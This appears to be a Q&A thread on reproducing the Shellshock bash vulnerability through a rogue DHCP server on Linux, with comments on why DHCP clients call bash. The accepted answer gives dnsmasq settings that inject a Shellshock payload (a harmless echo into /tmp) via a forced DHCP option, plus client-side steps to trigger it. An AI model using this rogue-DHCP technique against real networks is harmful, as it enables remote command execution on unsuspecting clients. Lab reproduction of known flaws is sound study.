shellshock dhcp exploitation

Question

An attacker can exploit the bash bug in the DHCP protocol. On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could not found any tutorial showing it on linux machine.

Please explain, how it can used to attack on clients using dhcp server on linux. What configurations need to be done in dhcp server ?

Kroltan · Accepted Answer · 2014-10-03 09:08:22Z

8

In order to reproduce this vulnerability on *nix systems follow these steps:

Install dnsmasq. On Ubuntu machine it can be done by running following command:
```
sudo apt-get install dnsmasq
```
Add following lines to /etc/dnsmasq.conf configuration file:
```
interface="iface_server"

dhcp-range="ip_start","ip_end",12h

dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/
```
The vulnerable code will be inserted in dhcp-option field of the header.

Where is network interface DHCP server will be listening on, and ip_start, ip_end is the range of IP addresses that server will give out.
On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.

Following lines must be in the file:
```
auto "iface_client"

iface "iface_client" inet dhcp
```
On vulnerable machine enter following command:
```
sudo ifdown "iface_client" && sudo ifup "iface_client"
```
Where iface_client is network interface DHCP client will acquire IP address for.

Note that iface_server and iface_client must be connected to the same network.

Kroltan

1053 bronze badges

answered Oct 3 '14 at 6:25

ifexploit

2,4491 gold badge13 silver badges12 bronze badges

Why does the DHCP client put that option in an environment variable and then run bash? – Roger Lipscombe Oct 3 '14 at 14:53
Then the same question will be why attacker attacks on the networks. There might be different intensions some attackers does it for money, some for fun and some to help others to overcome from the problem. The attack will be performed by the illegitimate dhcp server over client not by the dhcp client. – ifexploit Oct 3 '14 at 15:30
My point is this: I can put arbitrary information in the DHCP options field if I own the DHCP server (or if the switch is not adequately secured against a rogue DHCP server). What causes the DHCP client (on Linux) to put that in an environment variable and then run bash? – Roger Lipscombe Oct 3 '14 at 19:11
If dhcp client uses bash shell to process the response of the dhcp server, then the attacker can trigger this vulnerability by using dhcp options. If the dhcp will process the response then the code will execute in bash shell. – ifexploit Oct 4 '14 at 6:57
Yes. I understand that. My question is: why is the DHCP client using bash? – Roger Lipscombe Oct 4 '14 at 12:57

Add a comment |

1 Answer 1